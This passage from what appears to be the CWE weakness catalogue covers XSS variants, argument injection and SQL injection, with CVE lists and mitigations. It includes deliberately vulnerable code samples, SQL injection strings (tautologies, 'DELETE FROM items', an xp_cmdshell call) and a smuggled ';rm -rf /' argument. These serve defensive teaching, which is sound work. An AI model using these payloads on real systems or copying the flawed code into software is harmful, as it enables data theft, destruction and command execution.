if (!$results) {
    exit;
}
//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
    echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';
```

The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.

Observed Examples

Reference	Description
CVE-2006-3211	Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
CVE-2006-3295	Chain: library file is not protected against a direct request (CWE-425), leading to reflected XSS.
CVE-2006-3568	Stored XSS in a guestbook application.
CVE-2006-4308	Chain: only checks "javascript:" tag
CVE-2007-5727	Chain: only removes SCRIPT tags, enabling XSS
CVE-2008-0971	Stored XSS in a security product.
CVE-2008-4730	Reflected XSS not properly handled when generating an error message
CVE-2008-5080	Chain: protection mechanism failure allows XSS

Reference	Description
CVE-2008-5249	Stored XSS using a wiki page.
CVE-2008-5734	Reflected XSS sent through email message.
CVE-2008-5770	Reflected XSS using the PATH_INFO in a URL

Potential Mitigations

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.

Implementation

Architecture and Design

Understand the context in which your data will be used and the encoding that will be expected.

This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.

For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:

- HTML body

- Element attributes (such as src="XYZ")

- URIs

- JavaScript sections

- Cascading Style Sheets and style property

etc. Note that HTML Entity Encoding is only appropriate for the HTML body.

Consult the XSS Prevention Cheat Sheet [R.79.16] for more details on the types of encoding and escaping that are needed.

Architecture and Design

Implementation

Identify and Reduce Attack Surface

Limited

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

This technique has limited effectiveness, but can be helpful when it is possible to store client state and sensitive information on the server side instead of in cookies, headers, hidden form fields, etc.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design**Parameterization**

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Implementation**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Implementation**Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When dynamically constructing web pages, use stringent whitelists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("`<3`") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.

Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.

Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.

Architecture and Design

Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Operation**Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Operation**Implementation****Environment Hardening**

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Background Details

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Weakness ID: 80 (*Weakness Variant*)

Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.

Extended Description

This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.

Demonstrative Examples

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.

JSP Example:*Bad Code*

```
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
  Entry e = (Entry) i.next(); %>
  <p>Entry #<%= e.getId() %></p>
  <p><%= e.getText() %></p>
  <%
  } %>
```

Observed Examples

Reference	Description
CVE-2002-0938	XSS in parameter in a link.
CVE-2002-1495	XSS in web-based email product via attachment filenames.
CVE-2003-1136	HTML injection in posted message.
CVE-2004-2171	XSS not quoted in error page.

Potential Mitigations**Implementation**

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Implementation**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Implementation**Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

CWE-81: Improper Neutralization of Script in an Error Message Web Page

Weakness ID: 81 (Weakness Variant)

Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.

Extended Description

Error pages may include customized 403 Forbidden or 404 Not Found pages.

When an attacker can trigger an error that contains unneutralized input, then cross-site scripting attacks may be possible.

CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

Weakness ID: 82 (*Weakness Variant*)

Status: Incomplete

Description

Summary

The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.

Extended Description

Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.

Reference	Description
CVE-2001-0520	Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others.
CVE-2002-1493	guestbook XSS in STYLE or IMG SRC attributes.
CVE-2002-1495	XSS in web-based email product via onmouseover event.
CVE-2002-1681	XSS via script in <P> tag.
CVE-2002-1965	Javascript in onerror attribute of IMG tag.
CVE-2003-1136	Javascript in onmouseover attribute in e-mail address or URL.
CVE-2004-1935	Onload, onmouseover, and other events in an e-mail attachment.
CVE-2005-0945	Onmouseover and onload events in img, link, and mail tags.

Potential Mitigations

Implementation

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Implementation**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Implementation**Identify and Reduce Attack Surface****Defense in Depth**

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages

Weakness ID: 86 (*Weakness Variant*) Status: Draft

Description

Summary

The software does not neutralize or incorrectly neutralizes invalid characters or byte sequences in the middle of tag names, URI schemes, and other identifiers.

Extended Description

Some web browsers may remove these sequences, resulting in output that may have unintended control implications. For example, the software may attempt to remove a "javascript:" URI scheme, but a "java%00script:" URI may bypass this check and still be rendered as active javascript by some browsers, allowing XSS or other attacks.

CWE-87: Improper Neutralization of Alternate XSS Syntax

Weakness ID: 87 (Weakness Variant)

Status: Draft

Description**Summary**

The software does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences

Confidentiality**Integrity****Availability****Read application data****Execute unauthorized code or commands****Demonstrative Examples**

In the following example, an XSS neutralization routine checks for the lower-case "script" string but does not account for alternate strings ("SCRIPT", for example).

Java Example:*Bad Code*

```
public String preventXSS(String input, String mask) {
    return input.replaceAll("script", mask);
}
```

Observed Examples

Reference	Description
CVE-2002-0738	XSS using "&={script}".

Potential Mitigations**Implementation**

Resolve all input to absolute or canonical representations before processing.

Implementation

Carefully check each input parameter against a rigorous positive specification (whitelist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. CWE-88: Argument Injection or Modification

Weakness ID: 88 (Weakness Base)

Status: Draft

Description

Summary

The software does not sufficiently delimit the arguments being passed to a component in another control sphere, allowing alternate arguments to be provided, leading to potentially security-relevant changes.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Confidentiality

Integrity

Availability

Other

Execute unauthorized code or commands

Alter execution logic

Read application data

Modify application data

An attacker could include arguments that allow unintended commands or code to be executed, allow sensitive data to be read or modified or could cause other unintended behavior.

Demonstrative Examples

The following simple program accepts a filename as a command line argument and displays the contents of the file back to the user. The program is installed setuid root because it is intended for use as a learning tool to allow system administrators in-training to inspect privileged system files without giving them the ability to modify them or damage the system.

C Example:

Bad Code

```
int main(int argc, char** argv) {
    char cmd[CMD_MAX] = "/usr/bin/cat ";
    strcat(cmd, argv[1]);
    system(cmd);
}
```

Because the program runs with root privileges, the call to `system()` also executes with root privileges. If a user specifies a standard filename, the call works as expected. However, if an

attacker passes a string of the form ";rm -rf /", then the call to system() fails to execute cat due to a lack of arguments and then plows on to recursively delete the contents of the root partition. Note that if argv[1] is a very long argument, then this issue might also be subject to a buffer overflow (CWE-120).

Observed Examples

Reference	Description
CVE-1999-0113	Canonical Example
CVE-2001-0150	Web browser executes Telnet sessions using command line arguments that are specified by the web site, which could allow remote attackers to execute arbitrary commands.
CVE-2001-0667	Web browser allows remote attackers to execute commands by spawning Telnet with a log file option on the command line and writing arbitrary code into an executable file which is later executed.
CVE-2001-1246	Language interpreter's mail function accepts another argument that is concatenated to a string used in a dangerous popen() call. Since there is no neutralization of this argument, both OS Command Injection (CWE-78) and Argument Injection (CWE-88) are possible.
CVE-2002-0985	Argument injection vulnerability in the mail function for PHP may allow attackers to bypass safe mode restrictions and modify command line arguments to the MTA (e.g. sendmail) possibly executing commands.
CVE-2003-0907	Help and Support center in windows does not properly validate HCP URLs, which allows remote attackers to execute arbitrary code via quotation marks in an "hcp://" URL.
CVE-2004-0121	Mail client does not sufficiently filter parameters of mailto: URLs when using them as arguments to mail executable, which allows remote attackers to execute arbitrary programs.
CVE-2004-0411	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
CVE-2004-0473	Web browser doesn't filter "-" when invoking various commands, allowing command-line switches to be specified.
CVE-2004-0480	Mail client allows remote attackers to execute arbitrary code via a URI that uses a UNC network share pathname to provide an alternate configuration file.
CVE-2004-0489	SSH URI handler for web browser allows remote attackers to execute arbitrary code or conduct port forwarding via the a command line option.
CVE-2005-4699	Argument injection vulnerability in TellMe 1.2 and earlier allows remote attackers to modify command line arguments for the Whois program and obtain sensitive information via "--" style options in the q_Host parameter.
CVE-2006-1865	Beagle before 0.2.5 can produce certain insecure command lines to launch external helper applications while indexing, which allows attackers to execute arbitrary commands. NOTE: it is not immediately clear whether this issue involves argument injection, shell metacharacters, or other issues.
CVE-2006-2056	Argument injection vulnerability in Internet Explorer 6 for Windows XP SP2 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2057	Argument injection vulnerability in Mozilla Firefox 1.0.6 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2058	Argument injection vulnerability in Avant Browser 10.1 Build 17 allows user-assisted remote attackers to modify command line arguments to an invoked mail client via " (double quote) characters in a mailto: scheme handler, as demonstrated by launching Microsoft Outlook with an arbitrary filename as an attachment. NOTE: it is not clear whether this issue is implementation-specific or a problem in the Microsoft API.
CVE-2006-2312	Argument injection vulnerability in the URI handler in Skype 2.0.*.104 and 2.5.*.0 through 2.5.*.78 for Windows allows remote authorized attackers to download arbitrary files via a URL that contains certain command-line switches.
CVE-2006-3015	Argument injection vulnerability in WinSCP 3.8.1 build 328 allows remote attackers to upload or download arbitrary files via encoded spaces and double-quote characters in a scp or sftp URI.

Reference	Description
CVE-2006-4692	Argument injection vulnerability in the Windows Object Packager (packager.exe) in Microsoft Windows XP SP1 and SP2 and Server 2003 SP1 and earlier allows remote user-assisted attackers to execute arbitrary commands via a crafted file with a "/" (slash) character in the filename of the Command Line property, followed by a valid file extension, which causes the command before the slash to be executed, aka "Object Packager Dialogue Spoofing Vulnerability."
CVE-2006-6597	Argument injection vulnerability in HyperAccess 8.4 allows user-assisted remote attackers to execute arbitrary vbscript and commands via the /r option in a telnet:// URI, which is configured to use hawin32.exe.
CVE-2007-0882	Argument injection vulnerability in the telnet daemon (in.telnetd) in Solaris 10 and 11 (SunOS 5.10 and 5.11) misinterprets certain client "-f" sequences as valid requests for the login program to skip authentication, which allows remote attackers to log into certain accounts, as demonstrated by the bin account.

Potential Mitigations

Architecture and Design

Input Validation

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, request headers as well as content, URL components, e-mail, files, databases, and any external systems that provide data to the application. Perform input validation at well-defined interfaces.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.

Implementation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass whitelist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control.

Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.

Implementation

When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

Implementation

When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.

Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Weakness ID: 89 (Weakness Base)

Status: Draft

Description**Summary**

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component.

Extended Description

Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. This can be used to alter query logic to bypass security checks, or to insert additional statements that modify the back-end database, possibly including execution of system commands.

SQL injection has become a common issue with database-driven web sites. The flaw is easily detected, and easily exploited, and as such, any site or software package with even a minimal user base is likely to be subject to an attempted attack of this kind. This flaw depends on the fact that SQL makes no real distinction between the control and data planes.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms**Languages**

- Language-Independent

Technology Classes

- Database Server

Modes of Introduction

This weakness typically appears in data-rich applications that save user inputs in a database.

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Confidentiality****Read application data**

Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.

Access Control**Bypass protection mechanism**

If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.

Access Control**Bypass protection mechanism**

If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.

Integrity**Modify application data**

Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.

Likelihood of Exploit

High

Detection Methods**Automated Static Analysis**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes.

Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Automated Dynamic Analysis**Moderate**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Analysis

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

Automated Static Analysis - Binary / Bytecode**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Dynamic Analysis with automated results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Database Scanners

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

Example 2:

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

C# Example:*Bad Code*

```
...
string userName = ctx.GetAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = " + userName + " AND itemname = " + itemName.Text + """;
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

Attack

```
name' OR 'a'='a
```

for itemName, then the query becomes the following:

Attack

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

Attack

```
OR 'a'='a
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

Attack

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

Example 3:

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

```
name'; DELETE FROM items; --
```

Attack

for itemName, then the query becomes the following two queries:

SQL Example:

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';  
DELETE FROM items;  
--'
```

Attack

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

```
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a
```

Attack

Then the following three valid statements will be created:

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';  
DELETE FROM items;  
SELECT * FROM items WHERE 'a'='a';
```

Attack

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from a whitelist of safe values or identify and escape a blacklist of potentially malicious values. Whitelisting can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, blacklisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted
- Find ways to bypass the need for certain escaped meta-characters
- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

```
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)  
is open itm_cv for
```

Bad Code

```
' SELECT * FROM items WHERE ' || 'owner = ' || usr || ' AND itemname = ' || itm || ';'
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

Example 4:

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

Bad Code

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where \$user_input is taken from an untrusted source.

If the user provides the string:

Attack

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

Attack

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY="'; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
```

Now, this query can be broken down into:

a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY="';

a second SQL query, which executes the dir command in the shell: exec master..xp_cmdshell 'dir'

an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

Example 5:

This code intends to print a message summary given the message ID.

PHP Example:

Bad Code

```
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

The programmer may have skipped any input validation on \$id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While \$id is wrapped in single quotes in the call to mysql_query(), an attacker could simply change the incoming mid cookie to:

Attack

```
1432' or '1' = '1
```

This would produce the resulting query:

Result

```
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

